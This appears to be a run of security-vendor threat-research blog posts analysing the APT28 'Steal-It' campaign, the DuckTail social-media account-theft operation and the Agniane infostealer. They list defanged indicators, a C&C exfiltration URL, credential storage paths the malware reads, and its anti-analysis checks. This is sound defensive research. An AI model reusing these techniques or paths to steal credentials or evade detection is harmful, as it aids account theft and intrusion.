Mockbin APIs Similar “Windows Update” theme. Conclusion Zscaler ThreatLabz’s analysis of the Stealing campaign named as “The Steal-It Campaign” indicates their targeted geofencing strategy and sophisticated tactics. For example, the threat actors' custom PowerShell scripts and strategic use of LNK files within zip archives highlights their technical expertise. The persistence maintained by moving files from the Downloads to Startup folder and renaming them underscores the Threat Actors dedication to prolonged access. The meticulousness and technical process demonstrated by the Steal-It campaign emphasizes the importance of robust cybersecurity measures. In addition to staying on top of these threats, Zscaler's ThreatLabz team continuously monitors for new threats and shares its findings with the wider community. Zscaler Sandbox Coverage Zscaler's multilayered cloud security platform detects indicators at various levels. During the investigation of this campaign, Zscaler Sandbox played a crucial role in analyzing the behavior of various files. Through this sandbox analysis, the threat scores and specific MITRE ATT&CK techniques triggered were identified, as illustrated in the screenshot provided below. This comprehensive approach empowers cybersecurity professionals with critical insights into the malware's behavior, enabling them to effectively detect and counter the threats posed by the Threat Actors. The image below shows the Zscaler cloud sandbox report for LNK Files attributed to APT28 (LNK.Downloader.APT28). Figure 17: Zscaler sandbox detection In addition to sandbox detection, Zscaler’s multilayered cloud security platform detects indicators at various levels. LNK.Downloader.APT28 MITRE ATT&CK TTP Mapping ID TECHNIQUE NAME T1598 Phishing T1059 Command and Scripting Interpreter T1212 Exploitation for Credential Access T1567 Exfiltration Over Web Service T1037 Startup Items Indicators of Compromise (IoCs) NTLMv2 Hash Stealing LNK 022d01e7007971f5a5096c4f2f2b2aa4 1e2a320658ba5b616eae7a3e247f44a6 Customized Nishang Start-CaptureServer PowerShell script URL: mockbin[.]org/bin/de22e2a8-d2af-4675-b70f-e42f1577da6e URL: https[:]//webhook[.]site/33128548-0eda-4e2b-bf89-7b1b225ecb9f Script: 358d9271b8e207e82dafe6ea67c1d198 SystemInfo Stealing LNK 4083396ab0344c4731a30d4931bb1963 URL http[:]//run[.]mocky[.]io/v3/cee6d18e-5adb-4fbd-b47b-989768473c66 http[:]//run[.]mocky[.]io/v3/99c677eb-21e1-4064-9ab4-9ee9dfd2ef13 Fansly Whoami Exfil URL https[:]//run.mocky.io/v3/869e530a-51f7-4bec-ae6e-3effb1737691 https[:]//run.mocky.io/v3/f4ccbf43-9f2a-4c08-af0a-35be079694a8 Windows Update Exfil LNK 02af0a334507fcdf7b374dff90eddead 468afeebde1c65b96e6d10e11428598e c95eed189823c9a2c7206d13ff953bdf URL http[:]//run[.]mocky[.]io/v3/2e757b51-c023-4bb6-9d3f-68489571abd7 https[:]//run[.]mocky[.]io/v3/e0687bb8-d14b-4ee0-8c47-202c5aaab48c http[:]//run[.]mocky[.]io/v3/ef2c9f34-11f5-4a99-b31c-6b203b5d5313 Wed, 06 Sep 2023 08:15:29 -0700 Niraj Shivtarkar https://www.zscaler.com/blogs/security-research/steal-it-campaign A Look Into DuckTail https://www.zscaler.com/blogs/security-research/look-ducktail Introduction In our persistent quest to decode DuckTail’s maneuvers, Zscaler ThreatLabz began an intelligence collection operation in May 2023. Through an intensive three-month period of monitoring, we obtained critical details about DuckTail’s operational framework. This expedition granted us unprecedented visibility into DuckTail’s end-to-end operations, spanning the entire kill chain from reconnaissance to post-compromise. Our team yielded valuable insights into DuckTail’s intrusion techniques, compromise tactics, post-compromise procedures, and the underground economy. These insights, some of which have never been publicly documented, provide a panoramic view of their targets and an understanding of their strategic motives. This exposé dives into the operational mechanics of DuckTail, dissecting the anatomy of their tactics, techniques and procedures (TTPs), and tracing the trajectory of stolen data. We cover the following topics: Key Takeaways Brief Overview Unveiling DuckTail’s TTPs Insights Gained Conclusion Zscaler Coverage Indicators of Compromise (IOCs) Appendix Key Takeaways Ideal Social Engineering Target: DuckTail threat actors primarily target users working in the digital marketing and advertising space. Unfortunately, the tech layoffs occurring in 2022 and 2023 introduced more eager candidates into the digital market - meaning more prime targets for DuckTail. Raiding Business and Ad Accounts: DuckTail targets Facebook and TikTok business accounts, and Google ad accounts. Stolen social media business accounts feed an underground economy where these accounts are traded among other users in Vietnamese Telegram groups. Social Engineering as the Distribution Method: DuckTail’s primary distribution vector continues to be social engineering through LinkedIn messaging. Threat actors set up fake LinkedIn recruiter profiles and fake job postings impersonating popular companies to lure unsuspecting victims looking for employment. Expanding and Always Evolving: DuckTail continues to expand the list of cloud services abused for hosting and distributing payloads. Exploiting Themes of Innovative AI Online Tools: DuckTail threat actors have successfully weaponized the recent popularity of generative AI platforms, such as ChatGPT and Google Bard AI, to lure victims to install malicious software. Stealthy and Strategic Maneuvers: DuckTail threat actors use private residential proxy services to log in to compromised social media business accounts to prevent raising any security alarms. In addition, they abuse the "Encrypted notifications" Facebook feature to prevent the victim from performing an account recovery. Brief Overview DuckTail is an operation that involves multiple Vietnam-based threat actors who share the same tactics, techniques, and procedures (TTPs). They also share the same motivation: gain access to social media business accounts, specifically ones belonging to digital marketers. DuckTail malware steals saved session cookies from browsers, with code specifically tailored to take over Facebook business accounts.The malware is typically spread on LinkedIn, where threat actors post fake job descriptions to “recruit” potential victims. The “products” of the operation (i.e. hacked social media accounts) feed an underground economy of stolen social media accounts, where numerous vendors offer accounts priced according to their perceived usefulness for malicious activity. The image below shows a high-level overview of how DuckTail threat actors abuse different cloud services and social media platforms in their whole operation: Figure 1: Visual overview illustrating how DuckTail abuses social media and cloud platforms in different stages of their operation. Unveiling DuckTail’s TTPs Overview of the architecture The threat research community is already abundant with great articles that address the technical details of DuckTail’s malware payload. Distribution methods and techniques The following sections break down: the infection vectors employed by Ducktail what those infection campaigns look like LinkedIn Messaging Fake job posts DuckTail primarily reaches victims by posting fake marketing-related job listings on LinkedIn. The threat actors presume that the marketing professionals who apply likely have access to ad accounts. The image below is an example of a fake job post on LinkedIn used by Ducktail to lure an unsuspecting candidate. Figure 2: This is what the threat actor sees moments after setting up a fake marketing job post on LinkedIn. It’s worth noting that the post is promoted. In addition to creating fake job posts on LinkedIn, threat actors also set up profiles on LinkedIn impersonating recruiters. To facilitate social engineering tactics, in some cases, threat actors add the “Hiring” banner to their LinkedIn profile picture. This catches the attention of users actively seeking a new job. Once a potential victim responds to a bait post, the “recruiter” will send a message on LinkedIn. How it works The threat actors will ask the interested applicant to review the job application package by: Downloading an archive Opening it on a Windows machine Double-clicking the executable (camouflaged as another type of file) inside it To maximize their chance of infection, some threat actors create instructional videos showing victims how to “properly” infect their own devices. The image below shows this tactic in action: Figure 3: “Ashley Swarts” (a fake threat actor account) instructing a victim on how to open the fake job application package. The nuances of language The threat actor’s English proficiency closely matches the English language skills of an average Vietnamese cybercriminal, not an American HR professional. Our team observed threat actors using Google Translate to communicate with potential victims. The image below shows a threat actor translating messages from English to Vietnamese in real-time as they communicate with a victim. The predominant use of the Vietnamese language also supports our attributing DuckTail to Vietnamese threat actors. Figure 4: A threat actor using Google Translate to communicate in English while handling multiple fraudulent job application conversations on LinkedIn. Impersonating real companies DuckTail threat actors send job offers impersonating popular organizations and brands to entice job seekers. In the image below, a threat actor leveraged a compromised LinkedIn account to message a victim with job opportunity details. While impersonating a real company called Mondelez International, this threat actor sent the following in their message: a link to the company's real Wikipedia and Facebook page an iCloud URL hosting an archive file containing the malware Figure 5: A threat actor messaging a victim on LinkedIn and impersonating a real company. Spear phishing emails Our team also observed cases where threat actors sent infected archive links through email, after making initial contact on LinkedIn. The image below shows a spear phishing email example. Figure 6: A spear phishing email sent to a victim containing the URL shortener link, which downloads the malicious archive file. .NET executables as a common thread in DuckTail binaries Most commonly, DuckTail’s malware payload is a .NET executable, but this is not always the case. Some Ducktail payloads come in an Excel add-in or browser extension. The .NET executables family associated with the Ducktail variants share the following attributes: Large file sizes, in most cases - around 70 MB or more Includes a fake Office or PDF document icon Contains a decoy document with details about the fake job offer/marketing advertisement, which opens right after execution Signed with valid code-signing certificates belonging to Vietnamese publishers (sometimes) Makes use of Telegram for C2 communications The executable is usually delivered in an archive, together with image and video files. The images below depict two common archive variations. Type 1 Archive Figure 7: Type 1 Archive - .exe files with fake icons (first row), together with job-related images Type 2 Archive Figure 8: Type 2 Archive - .lnk files with PowerShell payloads, plus .scr executables, both obscured by double extensions (.pdf.lnk, .docx.scr), together with job-related images Cloud hosting and URL shortening services Our research team noticed the following patterns when investigating DuckTail’s infrastructure: Malicious archives are often hosted on public cloud hosting services like iCloud, Google Drive, Dropbox, Transfer.sh, and OneDrive. In some cases, threat actors use Trello, a project management platform, as a cloud hosting service by uploading archives as attachments to Trello cards and providing victims with a direct download link to the card. Another widely abused platform is Rebrandly (rebrand.ly) - a URL shortener service. Threat actors spread download links generated by Rebrandly to give the download a more legitimate look. You can see the difference that Rebrandly makes in the image below. Figure 9: A redirection chain set up by the threat actor transforms a long, unfriendly Dropbox link into a short rebrand.ly link. Newly registered domains used to host payloads In addition to disguising links with Rebrandly, threat actors also registered many custom domains through Rebrandly, spreading shortened links with their own fake company name domains. Most of these custom domains registered by the threat actor use TLDs like: .social .software .sale .click .news .agency .company For a complete list of newly registered domains used by DuckTail, visit the Indicators of Compromise (IOCs) section at the bottom of this blog. Marketing guides and AI tools Another method of infection is the creation of web pages pretending to offer marketing guides and marketing software, but actually serving DuckTail malware. We observed the following legitimate marketing and AI tools spoofed: Adplexity ClickMinded ChatGPT Google BardAI Generative AI softwares, like ChatGPT, are prime targets because they are being increasingly utilized by professionals working in digital marketing, content creation, and advertising. The image below shows a web page created by a threat actor leveraging ChatGPT for Facebook advertising. Figure 10: A screenshot of newguide[.]tech, a website set up by Ducktail to leverage ChatGPT. Below, there is another example of a website set up by a threat actor impersonating Adplexity. Figure 11: A screenshot of adplexitydesk[.]tech, a website set up by Ducktail impersonating Adplexity. The download button leads to a Ducktail infected archive. Insights Gained In the following sections, we share insights about the threat actors operating DuckTail and the strategies they employ. Primary targets and industries While Ducktail is mostly known for targeting Facebook users, we observed threat actors stealing and abusing access to victim accounts on other advertising platforms, namely TikTok Business and Google Ads. This ability to pilfer multiple platforms is due to Ducktail’s general-purpose cookie stealing capabilities. Communication channels and techniques The threat actors use the following platforms to communicate and trade stolen information: Telegram Facebook Zalo (a Vietnamese messaging app) The threat actors set up Telegram bots to automatically handle data arriving from new victims. This allows them to pinpoint the most important information, like: the victim’s Facebook account information the number of detected ad accounts business manager accounts Figure 12: A bot introduces a new victim’s Facebook profile. An American with control over four personal ad accounts and three business manager accounts. Infiltration strategies Adding threat actor email addresses to compromised accounts One of the primary methods threat actors use to takeover a victim’s compromised account is by adding their own email address to that account. In the image below, Facebook emailed a security notification to a victim informing them that a threat actor has added an email address to their account. Figure 13: This screenshot shows a security notification warning a victim about a new email address added to their account - indicating that a Ducktail threat actor has begun a takeover of their Facebook account. Updating password and email for compromised accounts DuckTail threat actors change the password and email address of a Facebook account during takeover. Abusing Facebook Encrypted Notifications feature We observed an instance where, after taking over a victim’s Facebook account, the threat actor enabled the Encrypted Notifications setting. This way every Facebook email communication with the victim is encrypted - effectively preventing the victim from recovering their account. Using compromised LinkedIn accounts for communication While investigating communication between threat actors and victims on LinkedIn, we came across instances where threat actors contacted victims using compromised LinkedIn accounts. These compromised LinkedIn accounts belonged to users working in the digital marketing space. Some of the compromised LinkedIn accounts had more than 500 connections and 1000 followers. The high amount of connections/followers helped lend authenticity to the compromised accounts and facilitated the social engineering process for threat actors. How are the threat actors compromising LinkedIn accounts? We believe, with a medium-confidence level, that some of these compromised LinkedIn accounts were purchased in underground markets by DuckTail threat actors. We discovered an internal budgeting spreadsheet used by the DuckTail team which details their revenue and expenditures. One of the entries in the spreadsheet corresponded to the purchase of LinkedIn accounts. We believe, with a high-confidence level, that threat actors are compromising the LinkedIn accounts of users who fell victim to DuckTail’s initial attack where victims were enticed with fraudulent job posts and fake recruiters. We reached this conclusion after observing a conversation between members of the DuckTail group. One member directed another member to access a victim's Gmail account (using the stolen browser cookies), delete email entries related to LinkedIn (to clear traces), and change the account recovery email address to an attacker-controlled email. Compromising TikTok business accounts The image below shows the activity log page of a victim’s compromised TikTok Business account. The log depicts the threat actor inviting themselves to control the account and then performing actions. After three days, the targeted business notices and revokes their access. Figure 14: This is a TikTok business center activity log for a compromised account, showing the actions executed by the threat actor. Leveraging residential proxy services to access compromised accounts Our team observed DuckTail threat actors using “Residential Proxy” services to circumvent Facebook account compromise detections. In the image below, the attacker’s machine uses the “S5 Proxy” residential proxy service from the vendor - 922proxy.com. Interestingly, the UI also shows the threat actor’s own original IP address. We confirmed with an IP geolocation lookup that the threat actor’s original IP address maps to a city in Vietnam, further strengthening our theory that DuckTail is operated by Vietnam-based threat actors. Figure 15: This screenshot shows a threat actor connecting to a residential proxy in Konya, Turkey, before logging into the compromised Facebook account of a victim. Stolen Credentials Enter Underground Market Social media ad accounts are constantly targeted for hacking. Threat actors, like those behind the Ducktail operation, collect massive amounts of hacked accounts. But where do they end up? Hacked social media and ad accounts end up for sale in a busy Vietnamese-language underground market. Here is what we know about this market: Mainly Facebook accounts are sold It includes numerous publicly accessible Telegram groups DuckTail threat actors are active sellers Despite the illicit nature of these groups, they are public and easily accessible. Although it may be difficult for a novice to interpret the jargon and abbreviations that are heavily used in the community. Awareness of OPSEC among those involved appears to be be lacking or non-existent. Figure 16: In this screenshot, vendors offer access to hacked Facebook accounts on a Vietnamese Telegram group. Threat actors target ad accounts so they can access ad budgets. High ad budgets and long-term accessibility to accounts are attractive characteristics to threat actors. Facebook combats threat actors like Ducktail, who hack and abuse ad accounts on their platform, by automatically flagging suspicious accounts. Because of this, threat actors try to prolong the life of a compromised ad account. For this reason, hacked Facebook accounts are not interchangeable commodities. Depending on an account’s properties, it may range from very valuable to almost useless to buyers. Here are common properties that vendors and buyers check for in this underground market: The type of account (a personal ad account or a business manager account) The daily ad budget and payment threshold of an account The number of ad accounts a business manager account controls A successful business verification by Facebook If the account controls a page or profile with a verified badge The age of the account. Older accounts are more valuable than younger. The existence and validity of saved payment methods The account’s successful payment history. More successful payments indicate a more valuable account. We observed the following Vietnamese browser extension used for displaying account properties: Figure 17: A screenshot of the Vietnamese-designed browser extension used by threat actors to quickly assess social media business account details. Payments and Transactions We observed that an account deemed “low-grade” sells for around 350,000 Vietnamese dong (~$15 USD), while accounts considered valuable sell for around 8,000,000 Vietnamese dong (~$340 USD). When a transaction is complete, the seller hands over control of the hacked account by: Adding/inviting the buyer to control the account through Facebook (business manager) Providing the victim’s login and password to the compromised account Providing the victim’s exported browser cookies, thus replicating their logged-in session If the level of compromise is thorough, access to the victim’s email may be given on top of the above to maintain access even longer, and also be able to bypass MFA security measures. Conclusion In this blog, ThreatLabz provides a wealth of new insight for the research community. Understanding the operational methods and end-to-end journey of a threat actor like DuckTail is a form of protection. Because of our research team, we can confidently state: DuckTail is primarily run by Vietnamese-speaking cyber criminals who use Google Translate to communicate with potential victims over LinkedIn. DuckTail threat actors target personal, business, and ad accounts on platforms like TikTok, Facebook, LinkedIn, and Google, and use social engineering to infect devices. DuckTail threat actors are abusing themes of popular AI tools, like ChatGPT, to infect devices. DuckTail threat actors take extra measures to prevent raising security alarms by using private residential proxy services to log in to compromised accounts. DuckTail threat actors use strategic account takeover methods which they routinely use in their post-compromise procedures to prevent any form of account recovery by victims Hacked and/or compromised social media business ad accounts enter a primarily Vietnamese-based underground market where they are sold based on their perceived value. You can take steps to minimize the impact of a hacker by managing your saved payment methods in business ad accounts and making use of safeguards like daily spending limits, payment thresholds, etc. In addition to staying on top of these threats, Zscaler's ThreatLabz team continuously monitors for new threats and shares its findings with the wider community. Zscaler Coverage Zscaler Sandbox Detection The figure below shows the sandbox detection for the Windows shortcut (LNK) file which is used to kick start the DuckTail infection chain. Figure 18: Zscaler sandbox detection In addition to sandbox detection, Zscaler’s multilayered cloud security platform detects indicators at various levels. LNK.Downloader.Ducktail Win32.Dropper.Ducktail Win64.PWS.Ducktail Win32.Downloader.Ducktail Win32.PWS.Ducktail MITRE ATT&CK TTP Mapping MITRE ATT&CK TTP Mapping ID TACTIC TECHNIQUE T1204.001 User Execution: Malicious Link User executes the shortcut .lnk file T1204.002 User Execution: Malicious File User executes the attached compressed/executable file T1027.001 Obfuscated Files or Information: Binary Padding Binary inflated in order to avoid sandboxing T1036.005 Masquerading: Match Legitimate Name or Location Drops malicious binaries into legitimate paths T1057 Process Discovery Checks for well known security software analysis tools T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage Telegram API used to exfiltrate user data T1070.006 Indicator Removal: Timestomp PE’s Timestamp header value are tampered Indicators of Compromise (IOCs) Fake sites set up by DuckTail threat actor marketingagency[.]social a1outreach[.]software mangogroup[.]sale la-roche-posay[.]click li-ning[.]agency li-ning[.]news hrm[.]social hrms[.]social mccann[.]fyi avalonorganics[.]work li-ningagency[.]news li-ningjod[.]news ogilvy[.]social narscosmetics[.]social yodo1game[.]software louisvuitton-social[.]news luoisviitton[.]news eucerin[.]work guessinc[.]work samsungagency[.]link brandresource[.]social recruiterofbrand[.]social brandrecruitment[.]social hrmmarketing[.]link marketingmanager[.]social recruitmentagency[.]social marketing-project[.]social nike-agency[.]link recuiter[.]company louisvuitton-agency[.]link louisvuitton-agencyjod[.]live mccann[.]expert ogilvysocial[.]company louisvuitton-hr[.]news louisvuitton-jod[.]chat hyundaimotorjob[.]social hyundaimotor[.]social hyundaimotorgroup[.]social adplexity[.]site adplexitydesk[.]tech fbadsguide[.]tech affiliateguide[.]tech newguide[.]tech businessmanagerads[.]tech businessmanager-update[.]info marketing-tool[.]info connectads[.]agency disruptiveadvertising[.]agency impressionagency[.]co themars[.]social ommmarketing[.]agency growmemarketing[.]agency ommmarketing[.]digital impressiondigitals[.]agency impressiondigital[.]info passions[.]agency brandstyle[.]agency brandstyle[.]digital Appendix Attacker-controlled Trello account Figure: 19 An attacker-controlled Trello account used to host the malicious files. Screenshot shows the activity log. Wed, 30 Aug 2023 07:08:00 -0700 Sudeep Singh https://www.zscaler.com/blogs/security-research/look-ducktail Agniane Stealer: Dark Web’s Crypto Threat https://www.zscaler.com/blogs/security-research/agniane-stealer-dark-web-s-crypto-threat Introduction Agniane Stealer fraudulently takes credentials, system information, and session details from browsers, tokens, and file transferring tools. Agniane Stealer also heavily targets cryptocurrency extensions and wallets. Once it obtains the sensitive data, Agniane Stealer transfers that stolen data to command-and-control [C&C] servers, where threat actors can act upon the stolen information. We believe Agniane Stealer belongs to the Malware-as-a-Service (MaaS) platform Cinoshi Project, which was discovered in early 20231, and much of its code infrastructure is modeled after the platform. Its close relationship to Cinoshi Project means Agniane Stealer has been available for sale on several dark web forums. The threat actors responsible for Agniane Stealer utilize packers to maintain and regularly update the malware’s functionality and evasions features. In this technical blog post, we cover: Key Takeaways Agniane Stealer Promoted on Telegram Relationship to Cinoshi Project Agniane Stealer User Interface Technical Analysis Stealer Capabilities C&C Communication Conclusion Zscaler Coverage Indicators of Compromise (IOCs) Crypto Extensions & Wallets Key Takeaways Stealing Capabilities: Agniane Stealer is an information stealer that takes stored credentials from web browsers, Telegram sessions, Discord tokens, Steam, WinSCP, and Filezilla sessions. In addition, It saves a screenshot of the user’s desktop, quickly collecting OpenVPN profiles and system information. Crypto Hungry: Agniane Stealer is a prolific cryptocurrency data exfiltrator with extensive support for nearly 70+ crypto extensions and 10+ crypto wallets. Evasion Techniques: Agniane Stealer implements numerous methods to detect anti-analysis software like malware sandboxes, emulators, VirtualBox, and other analysis tools. Availability: Agniane Stealer is part of Cinoshi Project - a MaaS that offers services and subscriptions on the dark web. Agniane Stealer Promoted on Telegram During our analysis, we found a Telegram channel promoting and selling Agniane Stealer. The Telegram channel owner posts consistently about feature lists, updates, and pricing. We speculate the owner of the Telegram channel is the malware author. The following Agniane Stealer feature list was found on the Telegram channel: “The stealer is written in C# It loads the libraries used; build weight is 419 KB. Perfectly crypted by mass-crypters, such as EasyCrypter, exe2pack, PackLab and others. Supports stealing passwords and cookies from browsers based on Chromium and Gecko. Support for more than 70+ crypto extensions from browsers, as well as more than 10+ crypto wallets. Collection of Telegram sessions, Discord tokens, Steam sessions, Winscp and Filezilla sessions. Saving screenshots from all monitors with detailed information about them. Collection of all information about the victim's computer. Convenient filter for domains that are important to you; search in passwords and cookies of your domains and record the result. Collection of all possible OpenVPN profiles. Collecting a list of all installed applications on the computer. The ability to prohibit the launch of the build on virtual computers, emulators (configurable on the panel). Protection of your build from running on Virustotal, AnyRun and similar servers (configurable on the panel). Protection against repeated logs, as well as protection against empty logs (configurable on the panel). Collection of files from the user's desktop and documents (file extensions are configured on the panel). Log collection is carried out in memory, without using a disk to store materials from the log” The following information regarding price was also found: “💎 The cost of our styler Steeler monthly subscription — $50 Three-month subscription - $120 $150 (20% off) Lifetime subscriptions are not for sale and never will be for sale!” Relationship to Cinoshi Project This screen indicates that Agniane Stealer is most likely part of the Cinoshi Project. Figure 1: Project information indicating that Agniane Stealer is very likely part of the Cinoshi Project Agniane Stealer User Interface In the following section, we illustrate the web experience when interacting with Agniane Stealer on the dark web. The screens below are available through the same Telegram channel we mentioned above. Builder Tab ​​Below, you can see the Builder tab showing builder information. With this tab, cyber criminals can build custom variants of Agniane Stealer. Figure 2: Builder tab showing builder information Home Tab In the screenshot below, you can see the Agniane Stealer Home tab. The interface encourages you to follow the Telegram channel in case the domain is blocked. In addition, this screen indicates the status of the gate server. Figure 3: Home tab showing instructions and status Logs Tab On this screen, you can see a list of victim logs from all around the world. The list includes details relevant to a threat actor like Passwords, Wallets, and Cookies. Figure 4: Logs tab showing victim logs Settings Tab Stealer settings This section allows a threat actor using Agniane Stealer to configure settings in a way that facilitates their nefarious intentions. A threat actor can: disable logs, extend libraries, and even prevent the malware from running during security inspection and analysis using anti-analysis techniques. Figure 5: Stealer settings in Settings tab Telegram notification settings This screen shows you how to set up Telegram notifications on your system and it lists various custom variables that correspond to relevant stolen data: number of passwords in the log, username, etc. Figure 6: Telegram notification settings in Settings tab Fake-error settings This settings option also functions as a form of protection for Agniane Stealer. Enabling fake error messages allows threat actors to remain undetected for longer periods of time. Figure 7: Fake-error settings in Settings tab Parsers Tab This screen displays options to parse victim logs. A threat actor can use a Discord token or use a login pass (feature under development). Figure 8: Parsers tab showing options Technical Analysis Agniane Stealer, like many other information stealers, is written in C#. Our team determined that the Agniane Stealer sample under analysis is the first version of the build and was not packed or obfuscated, but the latest version has undergone packing and obfuscation. Upon execution, Agniane Stealer generates a random 32-bit string using the character set “A-Z0-9”. The generated random string is used as the sub-folder name, which is created in the %TEMP% folder. This is where the stolen data is kept. After that, the Agniane Stealer extracts a C&C URL (“https[ : ]//central-cee-doja [.] ru/”) from a hardcoded Base64 string. Anti-Analysis Techniques Checks for debugger The malware sample calls the CheckRemoteDebuggerPresent Windows API to check if it's being run in a debugger. If Agniane Stealer detects a debugger, then it will exit from memory and stop running, making debugging harder. Verifies tick counts Agniane Stealer uses an emulator program to record the initial tick count, proceeds to sleep, and upon awakening, measures the tick count once more. If the difference between the initial and final tick counts is less than 10L, the program returns True, exits from memory, and stops running. Detects analysis tools Agniane Stealer checks the memory for analysis tools. If it finds an analysis tool running, Agniane Stealer will exit. Our analysis uncovered the following analysis tools: Processhacker Netstat Netmon Tcpview Wireshark Filemon Regmon cain Locates user’s system Hosting providers employ various security measures for malware detection. It is in the interest of the threat actors to remain undetected. Thus, the future course of execution is determined based on the geolocation data retrieved from the server using the request hxxp[:]//ip-api[.]com/line/fields=hosting. If the victim’s machine belongs to a hosting provider, execution is terminated. Obscures identity with legitimate DLL handles Agniane Stealer tries to obtain the handle of several DLLs using the GetModuleHandle function. If successful, Agniane Stealer uses the innocuous DLL handle to hide itself from potential discovery. The malware targets the following DLLs: SbieDll SxIn Sf2snxhk cmdvrt32 Identifies virtual machines Agniane Stealer utilizes the WMI queries to detect whether it is running inside a virtual environment and terminates execution if True. QUERY DETAILS Select * from Win32_ComputerSystem If Manufacturer is Microsoft corporation and Model is VIRTUAL return True or if either Manufacturer contains vmware or Model is VirtualBox return True, and malware exits from memory. SELECT * FROM Win32_VideoController Retrieves information about video controllers (also known as graphics cards) on a Windows computer. Uses the GetPropertyValue method to compare names with VMware and VBox. If a match is found, then True is returned and Agniane Stealer quits execution. Stealer Capabilities Agniane Stealer possesses several form-grabbing capabilities. Let’s dive into those. Sidesteps dependencies Upon execution, Agniane Stealer, with a compact sample size, adeptly operates on both 32 and 64-bit systems, sidestepping any reliance on pre-existing dependencies. Intriguingly, it dynamically retrieves a set of 5 DLLs from its C&C servers, leveraging legitimate third-party DLLs to enhance its functionalities and capabilities. It employs the following: SQLite.dll SQLite.EF6.dll SQLite.Linq.dll SQLite.Interop.dll(x86 & x64bit) Steals from the following areas: AREAS DETAILS Telegram and Steam Sessions Steals user tokens for logged-in Discord and Steam sessions, and OpenVPN profiles; sends data to threat actors. Tries to search Telegram software under the “\\AppData\\Roaming\\Telegram” directory. If found, Agniane Stealer steals Telegram Sessions and archives it. Tries to locate the Telegram process. If found, the malware kills the process and grabs all the Telegram files except emojis and user_data. Then, Agniane Stealer archives all remaining directories. Browser cookies Agniane Stealer targets login data, history, and web data from the following browsers: OperaGX Chrome Opera FireFox Vivaldi Brave Edge Yandex Chromium Domains Agniane Stealer tries to harvest login credentials and cookies from following domains: VK.com facebook.com instagram.com mail.ru If any passwords are found in the domains listed above, then Agniane Stealer places them into the Important Detects.txt file and archives them. SSH File Transfer Protocol Agniane Stealer pilfers WinSCP to collect Hostname, username, and password from all sessions by traversing through Software\\Martin Prikryl\\WinSCP 2\\Sessions registry entry. Filezilla FTP Software Agniane Stealer reads FileZilla\\recentservers.xml and searches for the <server> tag. If available, then Agniane Stealer grabs Hostname, username, and password. If the XML path was not found, then Agniane Stealer logs that it was unable to find the FileZilla session. Computer System Agniane Stealer gets the external IP address of the victim's machine using https://ipwho.is/?output=xml. In addition, Agniane Stealer collects victims Windows version using SELECT * FROM win32_operatingsystem. Then, it obtains the bit version of the machine using Windows Registry and checks the value. If the value matches, then it is x86 but if it doesn’t then that indicates a x64bit machine. Uses WMI to collect Installed Antiviruses: Collects all installed antivirus software with the WMI query Select * from AntivirusProduct. GPUName: Using WMI query SELECT * FROM Win32_VideoController and GetEnumerator() method Compares with "VMware SVGA 3D" CPU name: Using WMI query SELECT * FROM Win32_Processor tries to access the CPU name of the victim's machine. Captures a screenshot Agniane Stealer captures a screenshot of the victim’s desktop using Bitmap. Checks RAM By querying WMI to Select * From Win32_ComputerSystem, Agniane Stealer calculates RAM allocated to the victim's machine. Exfiltrates data Agniane Stealer enumerates the users Desktop and the Documents folder for the files with .txt,.doc,.mafile,.rdp, and .db extension. The discovered files are then copied to the previously created subfolder under the %TEMP% location. Finds installed applications Agniane Stealer collects all applications installed on the victim’s machine by querying the Registry Key SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall. Then, it stores that information in the Installed Apps.txt file, as you can see in the image below. Figure 9: Example information collected by Agniane Stealer Agniane Stealer keeps a record of its actions in a file named execution log.txt, which documents all the operations executed and associated information. Exfiltrates crypto data In addition to form-grabbing, Agniane Stealer also utilizes clipper qualities to exfiltrate cryptocurrency data. Agniane Stealer is a prolific cryptocurrency data exfiltrator with extensive support for nearly 70+ crypto extensions and 10+ crypto wallets. See the Crypto Extension & Wallet table at the bottom of this blog for a complete list. How it works Agniane Stealer uploads all the exfiltrated data to: hxxps[:]//central-cee-doja.ru/TEST.php?ownerid=REPLACEUSER1D&buildid=spriteuser&countp=2&countc=29&username=saturn&country=IN&ipaddr=XX.XX.XX.XX&BSSID=XXXXXX000806C1&countw=0&rndtoken=REPLACERANDOMSTR&domaindetects=0 After uploading the stolen data to a remote server, the Agniane Stealer removes its traces from the victim’s system by deleting the sub-folder. We observed that the latest version of the Agniane Stealer uses ConfuserEx Protector. Also, the recent variant employs more obfuscation techniques when compared to the earlier version, which makes it harder for security modules to detect. In the images below, Figure 10 is from the earlier version of Agniane Stealer where the code is human-readable, and Figure 11 is from the latest version of Agniane Stealer where the same code is obfuscated through ConfuserEx Protector. The Figure 12 is showing the de-obfuscated code. Human-readable code Figure 10: Human-readable Agniane Stealer sample code Obfuscated code Figure 11: Obfuscated Agniane Stealer code sample Deobfuscated code Figure 12: Deobfuscated Agniane Stealer code sample C&C Communication In the case of Agniane Stealer, threat actors are using a command-and-control (C&C) server to move and store stolen data. A C&C server is a system controlled by the cybercriminals who distribute stealer malware to take sensitive data that allows them to manage and control compromised devices remotely. In the image below, you can see the: POST Request Host Name ZIP file payload PK header indicates the transmission of an archive file Figure 13: Data stolen by Agniane Stealer and sent to C&C server From here, Agniane Stealer downloads the SQLite dependency DLL, which is shown in the image below. Figure 14: SQLite dependency DLL files are downloaded Conclusion As a purchasable service on the dark web, Agniane Stealer is a formidable addition to the Cinoshi Project and its arsenal of malware. Agniane Stealer’s ability to discreetly gather credentials and cryptocurrency details, and transfer that stolen data to command-and-control (C&C) servers poses a significant threat in the cybersecurity landscape. Agniane Stealer looks for various types of anti-analysis software to avoid detection. Threat actors are constantly selling new malware services on the dark web and adding features to MaaS platforms. Our insights from analyzing Agniane Stealer demonstrate the importance of staying alert, ongoing research, and monitoring. The Zscaler ThreatLabz team continuously monitors for new threats and shares its findings with the wider community. Zscaler Coverage Zscaler's multilayered cloud security platform detects indicators at various levels. During the investigation of this campaign, Zscaler Sandbox played a crucial role in analyzing the behavior of various files. Zscaler ensured coverage for the payloads seen in these attacks via advanced threat signatures. Figure 15: The Zscaler Cloud Sandbox successfully detected the malware. To learn more about coverage, visit the Zscaler Sandbox webpage or Win32.PWS.Agniane in the Threat Library, where we list all threats and threat information. Indicators of Compromise (IOCs) Agniane Stealer indicators of compromise MD5 HASH VALUES DESCRIPTION 522101881b87ccda4d78fac30e951d19 Agniane Stealer 0d20e90382f881116201ac7c9298aab6 Agniane Stealer a1b5e20b58d23b26f640f252ece0891b Agniane Stealer 5C0F65523F7ECB773C599B59D5CC3578 Agniane Stealer a2b20120a92c3de445b0b384a494ed39 Agniane Stealer 